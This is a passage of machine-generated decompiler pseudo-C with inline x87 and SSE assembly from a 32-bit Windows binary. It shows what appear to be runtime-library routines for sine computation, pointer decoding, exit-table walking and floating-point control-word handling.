__asm__("fld tword [0x41236a]");
__asm__("fxch st0, st1");
do {
__asm__("fprem1 ");
__asm__("wait ");
*reinterpret_cast<void**>(&eax14) = fpu_status_word18;
} while (*reinterpret_cast<int1_t*>(&eax14 + 1));
__asm__("fstp st1");
__asm__("fsin ");
}
zf19 = g417278 == 0;
if (!zf19)
goto addr_40b69e_26;
*reinterpret_cast<void**>(&eax14) = v15;
if (*reinterpret_cast<void**>(&eax14) != 0x27f)
goto addr_40b6b5_38;
addr_40b6d3_39:
return eax14;
addr_40b6b5_38:
*reinterpret_cast<void**>(&eax14) =
reinterpret_cast<void*>(reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&eax14)) & 32);
if (!*reinterpret_cast<void**>(&eax14) || (*reinterpret_cast<void**>(&eax14) =
reinterpret_cast<void*>(fpu_status_word20 & 32), *reinterpret_cast<void**>(&eax14) == 0)) {
__asm__("fldcw word [esp]");
goto addr_40b6d3_39;
} else {
eax21 = fun_40b7a7("sin", v15);
return eax21;
}
}

void** fun_40d118(int32_t a1) {

void* v2;
void* edx3;
int1_t zf4;
uint32_t eax5;
void** eax6;
void** eax7;
int1_t zf8;
int16_t fpu_status_word9;
int16_t fpu_status_word10;
int1_t zf11;
void** eax12;
uint16_t fpu_status_word13;
void** eax14;

v2 = edx3;
__asm__("wait ");
__asm__("fnstcw word [esp]");
if (zf4) {
if (eax5 & 0xfffff || a1) {
addr_40d1a0_3:
return eax6;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x412320]");
eax7 = reinterpret_cast<void**>(1);
zf8 = g417278 == 0;
if (!zf8) {
addr_40b69e_5:
if (v2 != 0x27f) {
__asm__("fldcw word [esp]");
}
} else {
eax6 = fun_40b7a7("sin", v2);
goto addr_40d1a0_3;
}
}
return eax7;
}
if (v2 != 0x27f) {
__asm__("fldcw word [0x412368]");
}
__asm__("fsin ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(&eax7) = fpu_status_word9;
if (*reinterpret_cast<int1_t*>(&eax7 + 1)) {
__asm__("fld tword [0x41236a]");
__asm__("fxch st0, st1");
do {
__asm__("fprem1 ");
__asm__("wait ");
 *reinterpret_cast<int16_t*>(&eax7) = fpu_status_word10;
} while (*reinterpret_cast<int1_t*>(&eax7 + 1));
__asm__("fstp st1");
__asm__("fsin ");
}
zf11 = g417278 == 0;
if (!zf11)
goto addr_40b69e_5;
*reinterpret_cast<void**>(&eax12) = v2;
if (*reinterpret_cast<void**>(&eax12) != 0x27f)
goto addr_40b6b5_18;
addr_40b6d3_19:
return eax12;
addr_40b6b5_18:
*reinterpret_cast<void**>(&eax12) =
reinterpret_cast<void*>(reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&eax12)) & 32);
if (!*reinterpret_cast<void**>(&eax12) || (*reinterpret_cast<void**>(&eax12) =
reinterpret_cast<void*>(fpu_status_word13 & 32), *reinterpret_cast<void**>(&eax12) == 0)) {
__asm__("fldcw word [esp]");
goto addr_40b6d3_19;
} else {
eax14 = fun_40b7a7("sin", v2);
return eax14;
}
}

struct s65* fun_403606() {

return 0x416ac8;
}

struct s66* fun_40360c() {

return 0x416ad0;
}

void** fun_405701(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** tmp32_9;
void** ebp10;
void** eax11;

if (!a2 || a2 == 1) {
tmp32_9 = g416dc8;
g416dc8 = a2;
return tmp32_9;
 } else {
eax11 = fun_4060e8(ecx, ebp10, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax11) = reinterpret_cast<void**>(22);
fun_40602c(ecx, ebp10, __return_address(), a2, a3);
return 0xffffffff;
}
}

signed char fun_40880b(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
void** edi12;
void** esi13;
void** ebx14;
signed char al15;
struct s33* esi16;
void* ebx17;
void** eax18;

v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
edi12 = a2;
if (edi12 != a3) {
esi13 = edi12;
do {
ebx14 = *reinterpret_cast<void***>(esi13);
if (!ebx14)
continue;
image_base_(ebx14);
al15 = reinterpret_cast<signed char>(ebx14(ebx14));
if (!al15)
break;
esi13 = esi13 + 8;
} while (esi13 != a3);
if (esi13 == a3)
goto addr_40884d_7;
} else {
 goto addr_40887f_9;
}
if (esi13 != edi12) {
esi16 = reinterpret_cast<struct s33*>(esi13 + 0xfffffffc);
do {
if (*reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(esi16) + 0xfffffffc) && (ebx17 =
esi16->f0, !!ebx17)) {
image_base_(ebx17);
ebx17(ebx17);
}
esi16 = reinterpret_cast<struct s33*>(reinterpret_cast<uint32_t>(esi16) - 8);
} while (!reinterpret_cast<int1_t>(&esi16->f4 == edi12));
}
addr_40887d_16:
addr_40887f_9:
eax18 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return *reinterpret_cast<signed char*>(&eax18);
addr_40884d_7:
goto addr_40887d_16;
}

int32_t fun_405736(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19);

int32_t fun_405800(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void*** ebp11;
void** v12;
void** ebp13;
int32_t eax14;

ebp11 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax14 = fun_405736(ebp11 + 0xffffffff, ebp11 + 0xfffffff4, a2, ebp11 + 0xfffffff8, a1, a1, v12,
ebp13, __return_address(), a1, a2, a3, a4, a5, a6, a7, a8, a9, a10);
return eax14;
}

struct s108 {
signed char[8] pad8;
void*** f8;
};
struct s109 {
signed char[12] pad12;
void** fc;
};

void** fun_405828(void** ecx, void** a2, void** a3, void** a4);

void fun_4057cc(void** ecx);

void fun_405787(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
void** v7;
int32_t ebp8;
void** v9;
struct s108* ebp10;
int32_t ebp11;
void** ecx12;
struct s109* ebp13;
void** eax14;
int32_t ebp15;
int32_t ebp16;

v7 = reinterpret_cast<void**>(__return_address());
fun_4038a0(ecx, 0x414928, 12, v7);
*reinterpret_cast<uint32_t*>(ebp8 - 28) = 0;
v9 = *ebp10->f8;
fun_407a92(ecx, v9);
*reinterpret_cast<uint32_t*>(ebp11 - 4) = 0;
ecx12 = ebp13->fc;
eax14 = fun_405828(ecx12, 0x414928, 12, v7);
*reinterpret_cast<void***>(ebp15 - 28) = eax14;
*reinterpret_cast<int32_t*>(ebp16 - 4) = -2;
fun_4057cc(ecx12);
fun_4038f0(ecx12, 0x414928, 12, v7, a2);
goto 0x414928;
}

struct s110 {
signed char[8] pad8;
void*** f8;
};

struct s111 {
signed char[12] pad12;
void** fc;
};

void fun_40577b(void** ecx);

int32_t fun_405736(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19) {
int32_t ebp20;
void** v21;
struct s110* ebp22;
int32_t ebp23;
void** ecx24;
struct s111* ebp25;
uint32_t eax26;
int32_t ebp27;
int32_t ebp28;

fun_4038a0(ecx, 0x414908, 12, __return_address());

*reinterpret_cast<uint32_t*>(ebp20 - 28) = 0;
v21 = *ebp22->f8;
fun_407a92(ecx, v21);
*reinterpret_cast<uint32_t*>(ebp23 - 4) = 0;
ecx24 = ebp25->fc;
eax26 = fun_405948(ecx24, 0x414908, 12, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12, a13, a14, a15, a16, a17, a18, a19);
*reinterpret_cast<uint32_t*>(ebp27 - 28) = eax26;
*reinterpret_cast<int32_t*>(ebp28 - 4) = -2;
fun_40577b(ecx24);
fun_4038f0(ecx24, 0x414908, 12, __return_address(), a2);
goto 0x414908;
}

struct s112 {
signed char[16] pad16;
void*** f10;
};

void fun_4066dc(void** ecx) {

void** v2;
struct s112* ebp3;

v2 = *ebp3->f10;
fun_407ada(v2);
return;
}

struct s113 {
signed char[8] pad8;
void*** f8;
};

struct s115 {
signed char[72] pad72;
int32_t* f48;
};

struct s114 {
signed char[12] pad12;
struct s115*** fc;
};

void fun_406724(void** ecx);

void fun_4066e8(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
void** v7;
struct s113* ebp8;
int32_t ebp9;
struct s114* ebp10;
int32_t ebp11;

fun_4038a0(ecx, 0x414968, 8, __return_address());

v7 = *ebp8->f8;
fun_407a92(ecx, v7);
*reinterpret_cast<uint32_t*>(ebp9 - 4) = 0;
*(**ebp10->fc)->f48 = *(**ebp10->fc)->f48 + 1;
*reinterpret_cast<int32_t*>(ebp11 - 4) = -2;
fun_406724(v7);
fun_4038f0(v7, 0x414968, 8, __return_address(), a2);
goto 0x414968;
}

void fun_40897c() {
fun_407ada(0);
return;
}

struct s116 {
signed char[16] pad16;
 void*** f10;
};

void fun_4071dc(void** ecx) {

void** v2;
struct s116* ebp3;

v2 = *ebp3->f10;
fun_407ada(v2);
return;
}

void fun_40772e(void** ecx) {

fun_407ada(5);
return;
}

int32_t fun_408985(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6);

int32_t fun_4089df(int32_t a1, void* a2, void** a3) {

void* ebp4;
int32_t eax5;

ebp4 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax5 = fun_408985(reinterpret_cast<int32_t>(ebp4) + 0xffffffff,
reinterpret_cast<int32_t>(ebp4) + 0xfffffff4, a2, reinterpret_cast<int32_t>(ebp4) - 8, a1, a1);
return eax5;
}

void fun_408a88(void** a1, void** a2, void** a3) {

fun_404c7c(0x417258, a1);
fun_404c7c(0x41725c, a1);
fun_404c7c(0x417260, a1);
fun_404c7c(0x417264, a1);
return;
}

void fun_409e8e(void** ecx) {

fun_407ada(8);
return;
}

void fun_40a089(void** ecx) {

fun_407ada(8);
 return;
}

void** fun_405828(void** ecx, void** a2, void** a3, void** a4) {

void** v5;
void** v6;
void** ebp7;
void*** ebp8;
uint32_t eax9;
void** v10;
void** v11;
void** v12;
void** ebx13;
void** ebx14;
uint32_t edx15;
int32_t v16;
int32_t esi17;
void** v18;
void** edi19;
void** ebx20;
void** esi21;
void** edi22;
void** v23;
void** ebx24;
void** v25;
void** v26;
void** ecx27;
void** eax28;
uint32_t esi29;
void** eax30;
void** v31;
void** eax32;
void** ecx33;
void** eax34;
void** edx35;

v5 = reinterpret_cast<void**>(__return_address());
v6 = ebp7;
ebp8 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax9 = g416004;
v10 = reinterpret_cast<void**>(eax9 ^ reinterpret_cast<uint32_t>(ebp8));
v11 = ecx;
v12 = ebx13;
ebx14 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx));
 if (ebx14) {
edx15 = g416004;
v16 = esi17;
v18 = edi19;
ebx20 = *reinterpret_cast<void***>(ebx14 + 4);
esi21 = reinterpret_cast<void**>(edx15 & 31);
edi22 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ebx14)) ^ edx15);
v23 = esi21;
ebx24 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx20) ^ edx15);
__asm__("ror edi, cl");
__asm__("ror ebx, cl");
if (!edi22 || edi22 == 0xffffffff) {
addr_405935_3:
} else {
v25 = edi22;
v26 = ebx24;
while (1) {
do {
ecx27 = reinterpret_cast<void**>(32 - reinterpret_cast<unsigned char>(esi21));
__asm__("ror eax, cl");
eax28 = reinterpret_cast<void**>(edx15);
do {
ebx24 = ebx24 - 4;
if (reinterpret_cast<unsigned char>(ebx24) < reinterpret_cast<unsigned
char>(edi22))
goto addr_4058f8_8;
} while (*reinterpret_cast<void***>(ebx24) == eax28);
esi29 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(ebx24)) ^
edx15;
__asm__("ror esi, cl");
*reinterpret_cast<void***>(ebx24) = eax28;
image_base_(esi29);
esi29(esi29);
edx15 = g416004;
esi21 = reinterpret_cast<void**>(edx15 & 31);
v23 = esi21;
eax30 =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11)) + 4);
v31 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11)))) ^
edx15);
eax32 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax30) ^
edx15);
 __asm__("ror dword [ebp-0x8], cl");
__asm__("ror eax, cl");
ecx33 = v31;
if (ecx33 != v25)
break;
} while (eax32 == v26);
goto addr_4058e9_12;
addr_4058ec_13:
v25 = ecx33;
edi22 = ecx33;
v26 = eax32;
ebx24 = eax32;
continue;
addr_4058e9_12:
ecx33 = v31;
goto addr_4058ec_13;
}
addr_4058f8_8:
if (edi22 == 0xffffffff)
goto addr_40590a_14; else
goto addr_4058fd_15;
}
}
eax34 = fun_402f62(reinterpret_cast<unsigned char>(v10) ^
reinterpret_cast<uint32_t>(ebp8), v11, v23, v26, v25, v31, v10, v6);
return eax34;
addr_40590a_14:
__asm__("ror edx, cl");
edx35 = reinterpret_cast<void**>(g416004);
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11))) =
edx35;
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11)) + 4) =
edx35;
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11)) + 8) =
edx35;
goto addr_405935_3;
addr_4058fd_15:
fun_406c46(ecx27, edi22, v18, *reinterpret_cast<void***>(&v16), v12, v11, v23, v26, v25,
v31, v10, v6, v5, a2, a3, a4);
goto addr_40590a_14;
}

struct s117 {
signed char[16] pad16;
 void*** f10;
};

void fun_4057cc(void** ecx) {

void** v2;
struct s117* ebp3;

v2 = *ebp3->f10;
fun_407ada(v2);
return;
}

struct s118 {
signed char[16] pad16;
void*** f10;
};

void fun_40577b(void** ecx) {

void** v2;
struct s118* ebp3;

v2 = *ebp3->f10;
fun_407ada(v2);
return;
}

struct s119 {
signed char[16] pad16;
void*** f10;
};

void fun_406724(void** ecx) {

void** v2;
struct s119* ebp3;

v2 = *ebp3->f10;
fun_407ada(v2);
return;
}

struct s120 {
signed char[8] pad8;
void*** f8;
};
uint32_t g417260;

void fun_4089d3();

int32_t fun_408985(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
int32_t ebp7;
void** v8;
struct s120* ebp9;
int32_t ebp10;
uint32_t esi11;
uint32_t esi12;
int32_t ebp13;
int32_t ebp14;

fun_4038a0(ecx, 0x414ac8, 12, __return_address());

*reinterpret_cast<uint32_t*>(ebp7 - 28) = 0;
v8 = *ebp9->f8;
fun_407a92(ecx, v8);
*reinterpret_cast<uint32_t*>(ebp10 - 4) = 0;
esi11 = g416004;
esi12 = esi11 ^ g417260;
__asm__("ror esi, cl");
*reinterpret_cast<uint32_t*>(ebp13 - 28) = esi12;
*reinterpret_cast<int32_t*>(ebp14 - 4) = -2;
fun_4089d3();
fun_4038f0(esi11 & 31, 0x414ac8, 12, __return_address(), a2);
goto 0x414ac8;
}

struct s121 {
signed char[16] pad16;
void*** f10;
};

void fun_4089d3() {
void** v1;
struct s121* ebp2;

v1 = *ebp2->f10;
fun_407ada(v1);
return;
}
int32_t GetSystemMetrics = 0x14f64;

void fun_401000() {
GetSystemMetrics();
goto 0;
}

void fun_403a60() {
int32_t ebp1;
int32_t eax2;
int32_t edx3;
int32_t ebp4;
int32_t edx5;
uint32_t eax6;
int32_t ebp7;
uint32_t eax8;
uint32_t eax9;
unsigned char bl10;
uint32_t ebx11;
int32_t ebp12;

*reinterpret_cast<int32_t*>(ebp1 - 20) = eax2 + edx3;

*reinterpret_cast<int32_t*>(ebp4 - 16) = edx5;
eax6 = *reinterpret_cast<uint32_t*>(ebp7 - 20);
if ((eax6 & 6) != 6)
goto 0x403ace;
eax8 = g416010;
eax9 = eax8 | 8;
g416ae0 = 3;
g416010 = eax9;
if (!(bl10 & 32))
goto 0x403ace;
g416ae0 = 5;
g416010 = eax9 | 32;
if ((ebx11 & 0xd0030000) != 0xd0030000)
goto 0x403ace;
if ((*reinterpret_cast<uint32_t*>(ebp12 - 20) & 0xe0) != 0xe0)
goto 0x403ace;
g416010 = g416010 | 64;
g416ae0 = 6;
}

void fun_408ef6() {
uint32_t edi1;
int32_t edi2;
uint32_t eax3;
void** ecx4;
uint32_t edx5;
uint32_t edx6;
uint32_t eax7;
uint32_t eax8;
void** eax9;
int32_t esi10;
uint32_t eax11;

edi1 = reinterpret_cast<uint32_t>(edi2 + 1);

eax3 = *reinterpret_cast<uint32_t*>(reinterpret_cast<int32_t>(__return_address()) - 16);
ecx4 = reinterpret_cast<void**>(0);
if (*reinterpret_cast<signed char*>(&eax3) < 0) {
ecx4 = reinterpret_cast<void**>(16);
}
if (eax3 & 0x200) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 8);
}
if (eax3 & 0x400) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 4);
}
if (eax3 & 0x800) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 2);
}
if (edx5 & eax3) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 1);
}
if (eax3 & 0x100) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 0x80000);
}
edx6 = eax3 & 0x6000;
if (edx6) {
if (edx6 == 0x2000) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 0x100);
} else {
if (edx6 == 0x4000) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 0x200);
} else {
if (edx6 == 0x6000) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 0x300);
}
}
 }
}
eax7 = (eax3 & 0x8040) - 64;
if (!eax7) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 0x2000000);
} else {
eax8 = eax7 - 0x7fc0;
if (!eax8) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 0x3000000);
} else {
if (!(eax8 - 64)) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 0x1000000);
}
}
}
eax9 = reinterpret_cast<void**>(~edi1 & reinterpret_cast<unsigned char>(ecx4) | edi1 &
*reinterpret_cast<uint32_t*>(reinterpret_cast<int32_t>(__return_address()) + 8));
if (eax9 == ecx4) {
if ((reinterpret_cast<unsigned char>(ecx4) ^ reinterpret_cast<uint32_t>(esi10 + 1)) &
0x8031f) {
}
goto 0x40907a;
} else {
eax11 = fun_408cd4(eax9);
*reinterpret_cast<uint32_t*>(reinterpret_cast<int32_t>(__return_address()) - 12) = eax11;
fun_409e97(ecx4);
}
}

void fun_408fbe() {
__asm__("hlt ");
}

void fun_409ec1() {
int32_t ebp1;
int32_t ebp2;

if (***reinterpret_cast<int32_t***>(ebp1 - 20) == 0xc0000005 ||

***reinterpret_cast<int32_t***>(ebp1 - 20) == 0xc000001d) {
goto ebp2;
} else {
goto ebp2;
}
}
void fun_409ef1() {
}

void fun_409efa() {
int32_t ebx1;

goto ebx1;
}

void fun_409f0b() {
}

struct s122 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
};

void fun_40aac1() {
struct s122* esp1;
int1_t zf2;

esp1 = reinterpret_cast<struct s122*>(reinterpret_cast<int32_t>(__return_address()) + 4);

zf2 = (esp1->f4 & 0x7f80) == 0x1f80;
if (zf2) {
__asm__("fnstcw word [esp]");
zf2 = (esp1->f0 & 0x7f) == 0x7f;
}
if (!zf2) {
*reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp1 + 1) - 4) =
reinterpret_cast<int32_t>(fun_40ab48);
fun_40b645();
} else {
__asm__("movlpd xmm0, [esp+0x4]");
}
}

struct s123 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
};
struct s124 {
int32_t f0;
int32_t f4;
void** f8;
};

struct s125 {
int32_t f0;
int32_t f4;
};

void fun_40aafd() {
struct s123* esp1;
int1_t zf2;
void* esp3;
int32_t* esp4;
struct s124* esp5;
struct s125* esp6;
int32_t ebp7;

esp1 = reinterpret_cast<struct s123*>(reinterpret_cast<int32_t>(__return_address()) + 4);

zf2 = (esp1->f4 & 0x7f80) == 0x1f80;
if (zf2) {
__asm__("fnstcw word [esp]");
zf2 = (esp1->f0 & 0x7f) == 0x7f;
}
esp3 = reinterpret_cast<void*>(&(esp1 + 1)->f0);
if (!zf2) {
__asm__("fst qword [esp]");
esp4 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp3) - 12 - 4);
*esp4 = 0x40ab36;
fun_40b688();
esp5 = reinterpret_cast<struct s124*>(esp4 + 1 - 1);
esp5->f0 = 0x40ab3b;
fun_40ab48(esp5->f4, esp5->f8);
goto (&esp5->f4)[3];
} else {
esp6 = reinterpret_cast<struct s125*>(reinterpret_cast<int32_t>(esp3) - 4);
esp6->f0 = ebp7;
__asm__("fstp qword [esp]");
__asm__("movq xmm0, [esp]");
*reinterpret_cast<int32_t*>((reinterpret_cast<uint32_t>(esp6 - 1) & 0xfffffff0) - 4) =
0x40af86;
fun_40af8e();
 goto esp6->f4;
}
}

struct s126 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
int32_t f8;
};

struct s127 {
int32_t f0;
int32_t f4;
signed char[6] pad14;
uint16_t fe;
};

struct s128 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
};

struct s129 {
int32_t f0;
uint32_t f4;
uint32_t f8;
};

struct s130 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
};

struct s131 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
};
struct s132 {
int32_t f0;
void** f4;
signed char[3] pad8;
uint32_t f8;
};

struct s133 {
int32_t f0;
int32_t f4;
int32_t f8;
int32_t fc;
};

struct s134 {
int32_t f0;
void* f4;
void* f8;
void* fc;
int32_t f10;
};

void fun_40ac11(void** ecx) {

struct s126* esp2;
uint32_t eax3;
int1_t zf4;
int32_t* esp5;
struct s127* esp6;
int32_t ebp7;
void*** esp8;
void*** esp9;
int32_t* esp10;
int32_t ebx11;
int32_t* esp12;
int32_t esi13;
int32_t* esp14;
int32_t* esp15;
struct s128* esp16;
int32_t eax17;
int32_t ebx18;
void** ecx19;
void*** esp20;
void*** esp21;
struct s129* esp22;
void* esp23;
int32_t* esp24;
int32_t* esp25;
struct s130* esp26;
int32_t* esp27;
int32_t* esp28;
int32_t* esp29;
struct s129* esp30;
uint32_t eax31;
void*** esp32;
void* esp33;
int32_t* esp34;
int32_t* esp35;
int32_t* esp36;
int32_t* esp37;
struct s131* esp38;
struct s132* esp39;
int1_t pf40;
struct s133* esp41;
int32_t edx42;
struct s134* esp43;

esp2 = reinterpret_cast<struct s126*>(reinterpret_cast<int32_t>(__return_address()) + 4);

eax3 = esp2->f4 & 0x7f80;
zf4 = eax3 == 0x1f80;
if (zf4) {
__asm__("fnstcw word [esp]");
*reinterpret_cast<uint16_t*>(&eax3) = reinterpret_cast<uint16_t>(esp2->f0 & 0x7f);
zf4 = *reinterpret_cast<uint16_t*>(&eax3) == 0x7f;
}
esp5 = &esp2->f8;
if (!zf4) {
esp6 = reinterpret_cast<struct s127*>(esp5 - 1);
esp6->f0 = ebp7;
esp8 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp6) - 4);
*esp8 = ecx;
esp9 = esp8 - 4;
*esp9 = ecx;
esp10 = reinterpret_cast<int32_t*>(esp9 - 4);
*esp10 = ebx11;
esp12 = esp10 - 1;
*esp12 = esi13 + 1;
esp14 = esp12 - 1;
*esp14 = 0xffff;
esp15 = esp14 - 1;
*esp15 = 0x1b3f;
esp16 = reinterpret_cast<struct s128*>(esp15 - 1);
esp16->f0 = 0x40ba14;
eax17 = fun_409f20(ecx, esp16->f4, esp16->f8);
__asm__("fld qword [ebp+0x8]");
ebx18 = eax17;
ecx19 = reinterpret_cast<void**>(static_cast<uint32_t>(esp6->fe) & 0x7ff0);
esp20 = &esp16->f4 + 4 + 4 - 4;
*esp20 = ecx19;
esp21 = esp20 - 4;
*esp21 = ecx19;
__asm__("fstp qword [esp]");
if (*reinterpret_cast<int16_t*>(&ecx19) != 0x7ff0) {
esp22 = reinterpret_cast<struct s129*>(esp21 - 4);
esp22->f0 = 0x40ba6c;
fun_40bf8a(ecx19);
__asm__("fst qword [ebp-0x8]");
__asm__("fld qword [ebp+0x8]");
esp23 = reinterpret_cast<void*>(&esp22->f4 + 2);
__asm__("fucom st1");
if (!__intrinsic() || *reinterpret_cast<unsigned char*>(&ebx18) & 32) {
esp24 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp23) - 4);
*esp24 = 0xffff;
__asm__("fstp st1");
esp25 = esp24 - 1;
*esp25 = ebx18;
__asm__("fstp st0");
esp26 = reinterpret_cast<struct s130*>(esp25 - 1);
esp26->f0 = 0x40ba89;
fun_409f20(ecx19, esp26->f4, esp26->f8);
__asm__("fld qword [ebp-0x8]");
} else {
esp27 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp23) - 4);
*esp27 = ebx18;
__asm__("fxch st0, st1");
__asm__("fstp qword [esp+0x8]");
__asm__("fstp qword [esp]");
esp28 = esp27 - 4 - 1;
*esp28 = 12;
esp29 = esp28 - 1;
*esp29 = 16;
goto addr_40baa6_11;
 }
} else {
esp30 = reinterpret_cast<struct s129*>(esp21 - 4);
esp30->f0 = 0x40ba35;
eax31 = fun_40c76a(esp30->f4, esp30->f8);
esp32 = reinterpret_cast<void***>(&esp30->f4 + 1);
ecx19 = *esp32;
esp33 = reinterpret_cast<void*>(esp32 + 4);
if (eax31 - 1 > 2) {
__asm__("fld qword [ebp+0x8]");
__asm__("fld qword [0x4137a0]");
esp34 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp33) - 4);
*esp34 = ebx18;
__asm__("fadd st0, st1");
__asm__("fstp qword [esp+0x8]");
__asm__("fstp qword [esp]");
esp35 = esp34 - 4 - 1;
*esp35 = 12;
esp29 = esp35 - 1;
*esp29 = 8;
goto addr_40baa6_11;
} else {
esp36 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp33) - 4);
*esp36 = 0xffff;
esp37 = esp36 - 1;
*esp37 = ebx18;
esp38 = reinterpret_cast<struct s131*>(esp37 - 1);
esp38->f0 = 0x40ba44;
fun_409f20(ecx19, esp38->f4, esp38->f8);
__asm__("fld qword [ebp+0x8]");
}
}
} else {
__asm__("movq xmm0, [esp+0x4]");
__asm__("movapd xmm2, [0x412180]");
__asm__("movapd xmm1, xmm0");
__asm__("movapd xmm7, xmm0");
__asm__("psrlq xmm0, 0x34");
__asm__("movd eax, xmm0");
__asm__("andpd xmm0, [0x4121a0]");
__asm__("psubd xmm2, xmm0");
__asm__("psrlq xmm1, xmm2");
if (!(eax3 & 0x800))
goto addr_40acc2_17; else
 goto addr_40ac76_18;
}
addr_40baae_19:
goto esp6->f4;
addr_40baa6_11:
esp39 = reinterpret_cast<struct s132*>(esp29 - 1);
esp39->f0 = 0x40baab;
fun_40bfd4(ecx19, esp39->f4, esp39->f8);
goto addr_40baae_19;
addr_40acc2_17:
__asm__("movq xmm0, [esp+0x4]");
__asm__("psllq xmm1, xmm2");
__asm__("movapd xmm3, xmm0");
__asm__("cmppd xmm0, xmm1, 0x6");
if (reinterpret_cast<int32_t>(eax3) < reinterpret_cast<int32_t>(0x3ff)) {
__asm__("cmppd xmm3, [0x412190], 0x6");
__asm__("andpd xmm3, [0x412170]");
__asm__("movq [esp+0x4], xmm3");
__asm__("fld qword [esp+0x4]");
goto *esp5;
} else {
pf40 = __intrinsic();
if (reinterpret_cast<int32_t>(eax3) <= reinterpret_cast<int32_t>(0x432)) {
__asm__("andpd xmm0, [0x412170]");
__asm__("addsd xmm1, xmm0");
__asm__("movq [esp+0x4], xmm1");
__asm__("fld qword [esp+0x4]");
goto *esp5;
}
}
__asm__("ucomisd xmm7, xmm7");
if (pf40) {
esp41 = reinterpret_cast<struct s133*>(esp5 - 4);
esp41->fc = 0x3ec;
edx42 = reinterpret_cast<int32_t>(esp41) + 20;
esp41->f8 = edx42;
esp41->f4 = edx42;
esp41->f0 = edx42;
esp43 = reinterpret_cast<struct s134*>(reinterpret_cast<int32_t>(esp41) - 4);
esp43->f0 = 0x40acba;
fun_40b7e3(esp43->f4, esp43->f8, esp43->fc, esp43->f10);
esp5 = reinterpret_cast<int32_t*>(&esp43->f4 + 4);
}
__asm__("fld qword [esp+0x4]");
 goto *esp5;
addr_40ac76_18:
if (reinterpret_cast<int32_t>(eax3) < reinterpret_cast<int32_t>(0xbff)) {
__asm__("fld qword [0x4121b0]");
goto *esp5;
} else {
__asm__("psllq xmm1, xmm2");
pf40 = __intrinsic();
if (reinterpret_cast<int32_t>(eax3) <= reinterpret_cast<int32_t>(0xc32)) {
__asm__("movq [esp+0x4], xmm1");
__asm__("fld qword [esp+0x4]");
